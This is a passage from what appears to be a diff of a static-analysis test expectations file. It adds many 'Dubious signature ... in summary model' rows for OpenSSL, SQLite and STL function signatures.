summary model. | +| Dubious signature "(const unsigned char *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,RC2_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const ARIA_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const BF_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const CAST_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)" in summary model. | +| Dubious signature "(const unsigned char[16],SEED_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)" in summary model. | | Dubious signature "(const vector &)" in summary model. | | Dubious signature "(const vector &,const Allocator &)" in summary model. | +| Dubious signature "(const void *,const void *)" in summary model. | +| Dubious signature "(const void *,const void *,int)" in summary model. | +| Dubious signature "(const void *,const void *,int,int,..(*)(..))" in summary model. | +| Dubious signature "(const void *,const void *,int,int,..(*)(..),int)" in summary model. | +| Dubious signature "(const void *,size_t,const char *,int)" in summary model. | +| Dubious signature "(const void *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(const void *,size_t,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const void *,sqlite3 **)" in summary model. | +| Dubious signature "(const_DES_cblock *)" in summary model. | | Dubious signature "(const_iterator,T &&)" in summary model. | | Dubious signature "(const_iterator,const T &)" in summary model. | | Dubious signature "(const_iterator,size_type,const T &)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_point_t)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_point_t,const uint8_t[57])" in summary model. | +| Dubious signature "(curve448_scalar_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const unsigned char[56])" in summary model. | +| Dubious signature "(custom_ext_methods *,const custom_ext_methods *)" in summary model. | +| Dubious signature "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)" in summary model. | | Dubious signature "(deque &&)" in summary model. | | Dubious signature "(deque &&,const Allocator &)" in summary model. | | Dubious signature "(format_string,Args &&)" in summary model. | | Dubious signature "(forward_list &&)" in summary model. | | Dubious signature "(forward_list &&,const Allocator &)" in summary model. | +| Dubious signature "(gf,const gf,const gf)" in summary model. | +| Dubious signature "(gf,const uint8_t[56],int,uint8_t)" in summary model. | +| Dubious signature "(i2d_of_void *,BIO *,const void *)" in summary model. | +| Dubious signature "(i2d_of_void *,FILE *,const void *)" in summary model. | +| Dubious signature "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(i2d_of_void *,d2i_of_void *,const void *)" in summary model. | +| Dubious signature "(int64_t *,const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(int64_t *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(int *,ASN1_TIME **,const ASN1_TIME *)" in summary model. | +| Dubious signature "(int *,X509 *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **)" in summary model. | +| Dubious signature "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(int *,int *,const EVP_PKEY_METHOD *)" in summary model. | +| Dubious signature "(int *,int *,const tm *,const tm *)" in summary model. | +| Dubious signature "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)" in summary model. | +| Dubious signature "(int *,int *,size_t)" in summary model. | +| Dubious signature "(int *,int)" in summary model. | +| Dubious signature "(int *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(int,BIO_ADDR *,int)" in summary model. | +| Dubious signature "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(int,ENGINE *)" in summary model. | +| Dubious signature "(int,ENGINE *,const unsigned char *,int)" in summary model. | +| Dubious signature "(int,ENGINE *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(int,ERR_STRING_DATA *)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,BIO *)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,SSL *,const unsigned char *,long)" in summary model. | +| Dubious signature "(int,SSL_CTX *,const unsigned char *,long)" in summary model. | +| Dubious signature "(int,SSL_EXCERT **)" in summary model. | +| Dubious signature "(int,X509_STORE_CTX *)" in summary model. | +| Dubious signature "(int,char **)" in summary model. | +| Dubious signature "(int,char **,char *[])" in summary model. | +| Dubious signature "(int,char **,const OPTIONS *)" in summary model. | +| Dubious signature "(int,char *,const char *,...)" in summary model. | +| Dubious signature "(int,char *,const char *,va_list)" in summary model. | +| Dubious signature "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(int,const OSSL_STORE_INFO *)" in summary model. | +| Dubious signature "(int,const char *)" in summary model. | +| Dubious signature "(int,const char **,int *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const regex_t *,char *,size_t)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,const unsigned char *,int,DSA *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,const unsigned char *,int,EC_KEY *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *)" in summary model. | +| Dubious signature "(int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *)" in summary model. | +| Dubious signature "(int,int *,int *,int)" in summary model. | +| Dubious signature "(int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *)" in summary model. | +| Dubious signature "(int,int,const char *)" in summary model. | +| Dubious signature "(int,int,const char *,const char *)" in summary model. | +| Dubious signature "(int,int,const char *,va_list)" in summary model. | +| Dubious signature "(int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(int,int,const unsigned char *,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(int,int,int *)" in summary model. | +| Dubious signature "(int,int,int,const void *,size_t,SSL *,void *)" in summary model. | +| Dubious signature "(int,int,void *)" in summary model. | +| Dubious signature "(int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *)" in summary model. | +| Dubious signature "(int,sqlite3_int64 *,sqlite3_int64 *,int)" in summary model. | +| Dubious signature "(int,unsigned char *,int,const char *,const char *)" in summary model. | +| Dubious signature "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)" in summary model. | +| Dubious signature "(int,unsigned long,..(*)(..),void *)" in summary model. | +| Dubious signature "(int,void *)" in summary model. | +| Dubious signature "(int_dhx942_dh **,const unsigned char **,long)" in summary model. | +| Dubious signature "(lemon *)" in summary model. | +| Dubious signature "(lemon *,action *)" in summary model. | +| Dubious signature "(lemon *,const char *)" in summary model. | +| Dubious signature "(lemon *,const char *,const char *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,BIO *,long *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,FILE *,long *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)" in summary model. | +| Dubious signature "(lhash_st_CONF_VALUE *,const char *,long *)" in summary model. | | Dubious signature "(list &&)" in summary model. | | Dubious signature "(list &&,const Allocator &)" in summary model. | +| Dubious signature "(piterator *)" in summary model. | +| Dubious signature "(plink *)" in summary model. | +| Dubious signature "(plink **,config *)" in summary model. | +| Dubious signature "(plink **,plink *)" in summary model. | +| Dubious signature "(pqueue *)" in summary model. | +| Dubious signature "(pqueue *,pitem *)" in summary model. | +| Dubious signature "(pqueue *,unsigned char *)" in summary model. | +| Dubious signature "(regex_t *,const char *,int)" in summary model. | +| Dubious signature "(regex_t *,const char *,size_t,regmatch_t[],int)" in summary model. | +| Dubious signature "(rule *,int)" in summary model. | +| Dubious signature "(size_t *,const char *)" in summary model. | +| Dubious signature "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(size_t,OSSL_QTX_IOVEC *,size_t)" in summary model. | +| Dubious signature "(size_t,SSL_CTX *)" in summary model. | +| Dubious signature "(size_t,const QUIC_PKT_HDR *)" in summary model. | +| Dubious signature "(size_t,const char **,size_t *)" in summary model. | +| Dubious signature "(size_t,size_t,void **,const char *,int)" in summary model. | | Dubious signature "(size_type,const T &)" in summary model. | | Dubious signature "(size_type,const T &,const Allocator &)" in summary model. | +| Dubious signature "(sqlite3 *)" in summary model. | +| Dubious signature "(sqlite3 *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,..(*)(..),void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,char **,const sqlite3_api_routines *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),sqlite3_callback,void *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,char ***,int *,int *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const char *,const char *,sqlite3_int64,sqlite_int64,int,sqlite3_blob **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const sqlite3_module *,void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,const sqlite3_module *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int *,int *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,int,void *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,int,void *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3 *,const char *)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3_int64 *,unsigned int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,sqlite3_intck **)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int)" in summary model. | +| Dubious signature "(sqlite3 *,const char *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)" in summary model. | +| Dubious signature "(sqlite3 *,const void *,int,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3 *,int)" in summary model. | +| Dubious signature "(sqlite3 *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,int,int *,int *,int)" in summary model. | +| Dubious signature "(sqlite3 *,int,int)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3 *)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3_int64)" in summary model. | +| Dubious signature "(sqlite3 *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3 *,unsigned int,..(*)(..),void *)" in summary model. | +| Dubious signature "(sqlite3 *,void *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_backup *)" in summary model. | +| Dubious signature "(sqlite3_backup *,int)" in summary model. | +| Dubious signature "(sqlite3_blob *)" in summary model. | +| Dubious signature "(sqlite3_blob *,const void *,int,int)" in summary model. | +| Dubious signature "(sqlite3_blob *,sqlite3_int64)" in summary model. | +| Dubious signature "(sqlite3_blob *,void *,int,int)" in summary model. | +| Dubious signature "(sqlite3_context *)" in summary model. | +| Dubious signature "(sqlite3_context *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3_context *,const void *,int)" in summary model. | +| Dubious signature "(sqlite3_context *,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int,int)" in summary model. | +| Dubious signature "(sqlite3_index_info *,int,sqlite3_value **)" in summary model. | +| Dubious signature "(sqlite3_intck *)" in summary model. | +| Dubious signature "(sqlite3_intck *,const char *)" in summary model. | +| Dubious signature "(sqlite3_intck *,const char **)" in summary model. | +| Dubious signature "(sqlite3_recover *)" in summary model. | +| Dubious signature "(sqlite3_recover *,int,void *)" in summary model. | +| Dubious signature "(sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,const char *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const char *,int,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const sqlite3_value *)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const void *,int,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,double)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,int)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,sqlite3_int64,sqlite_int64)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,sqlite3_uint64)" in summary model. | +| Dubious signature "(sqlite3_stmt *,int,void *,const char *,..(*)(..))" in summary model. | +| Dubious signature "(sqlite3_stmt *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(sqlite3_str *)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *,int)" in summary model. | +| Dubious signature "(sqlite3_str *,const char *,va_list)" in summary model. | +| Dubious signature "(sqlite3_str *,int,char)" in summary model. | +| Dubious signature "(sqlite3_value *)" in summary model. | +| Dubious signature "(sqlite3_value *,const char *)" in summary model. | +| Dubious signature "(sqlite3_value *,sqlite3_value **)" in summary model. | +| Dubious signature "(sqlite3expert *)" in summary model. | +| Dubious signature "(sqlite3expert *,char **)" in summary model. | +| Dubious signature "(sqlite3expert *,const char *,char **)" in summary model. | +| Dubious signature "(sqlite3expert *,int,int)" in summary model. | +| Dubious signature "(stack_st_ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(stack_st_ASN1_UTF8STRING *,const char *,int)" in summary model. | +| Dubious signature "(stack_st_OPENSSL_STRING *,const OSSL_PARAM *)" in summary model. | +| Dubious signature "(stack_st_OSSL_CMP_CRLSTATUS *)" in summary model. | +| Dubious signature "(stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS7 *,int)" in summary model. | +| Dubious signature "(stack_st_PKCS7 *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,EVP_PKEY *,int,int,int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,X509 *)" in summary model. | +| Dubious signature "(stack_st_PKCS12_SAFEBAG **,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_SCT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(stack_st_SCT **,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(stack_st_SSL_COMP *)" in summary model. | +| Dubious signature "(stack_st_SSL_COMP *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *)" in summary model. | +| Dubious signature "(stack_st_X509 **,X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 **,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,ASIdentifiers *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_X509 *,BIO *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(stack_st_X509 *,IPAddrBlocks *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509 *,const X509_NAME *)" in summary model. | +| Dubious signature "(stack_st_X509 *,const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(stack_st_X509 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR **)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR **,int,int)" in summary model. | +| Dubious signature "(stack_st_X509_ALGOR *,int,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)" in summary model. | +| Dubious signature "(stack_st_X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION **,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(stack_st_X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(stack_st_X509_OBJECT *,X509_LOOKUP_TYPE,const X509_NAME *)" in summary model. | +| Dubious signature "(stack_st_X509_OBJECT *,X509_OBJECT *)" in summary model. | +| Dubious signature "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(state *,config *)" in summary model. | +| Dubious signature "(symbol *,lemon *)" in summary model. | +| Dubious signature "(tm *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(tm *,const ASN1_UTCTIME *)" in summary model. | +| Dubious signature "(tm *,int,long)" in summary model. | +| Dubious signature "(u64[2],const u128[16],const u8 *,size_t)" in summary model. | +| Dubious signature "(uint8_t *,const uint8_t *,size_t,const uint8_t[32],const uint8_t[32],const uint8_t,const uint8_t,const uint8_t,const uint8_t *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(uint8_t *,size_t)" in summary model. | +| Dubious signature "(uint8_t *,size_t,ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,size_t,uint8_t *,size_t,const uint8_t *,size_t,const ML_KEM_KEY *)" in summary model. | +| Dubious signature "(uint8_t *,unsigned char *,uint64_t)" in summary model. | +| Dubious signature "(uint8_t *,unsigned char *,uint64_t,int)" in summary model. | +| Dubious signature "(uint8_t[32],const uint8_t[32])" in summary model. | +| Dubious signature "(uint8_t[32],const uint8_t[32],const uint8_t[32])" in summary model. | +| Dubious signature "(uint8_t[56],const curve448_point_t)" in summary model. | +| Dubious signature "(uint8_t[56],const gf,int)" in summary model. | +| Dubious signature "(uint8_t[56],const uint8_t[56],const uint8_t[56])" in summary model. | +| Dubious signature "(uint8_t[57],const curve448_point_t)" in summary model. | +| Dubious signature "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)" in summary model. | +| Dubious signature "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,void *)" in summary model. | +| Dubious signature "(uint32_t *,SSL_CONNECTION *,int)" in summary model. | +| Dubious signature "(uint32_t,uint32_t *,uint32_t *)" in summary model. | +| Dubious signature "(uint32_t,uint32_t,uint32_t *,int32_t *)" in summary model. | +| Dubious signature "(uint64_t *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(uint64_t *,int *,const unsigned char **,long)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t *,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t *,uint64_t,uint64_t *,CRYPTO_RWLOCK *)" in summary model. | +| Dubious signature "(uint64_t,uint64_t *)" in summary model. | | Dubious signature "(unsigned char *)" in summary model. | +| Dubious signature "(unsigned char **)" in summary model. | +| Dubious signature "(unsigned char **,X509_ALGOR *,ASN1_OCTET_STRING *,int)" in summary model. | +| Dubious signature "(unsigned char **,int,int,int,int)" in summary model. | +| Dubious signature "(unsigned char **,long *,char **,const char *,BIO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(unsigned char **,long)" in summary model. | +| Dubious signature "(unsigned char **,size_t *,const EC_POINT *,const EC_KEY *)" in summary model. | +| Dubious signature "(unsigned char **,unsigned char *,const unsigned char *,unsigned int,const 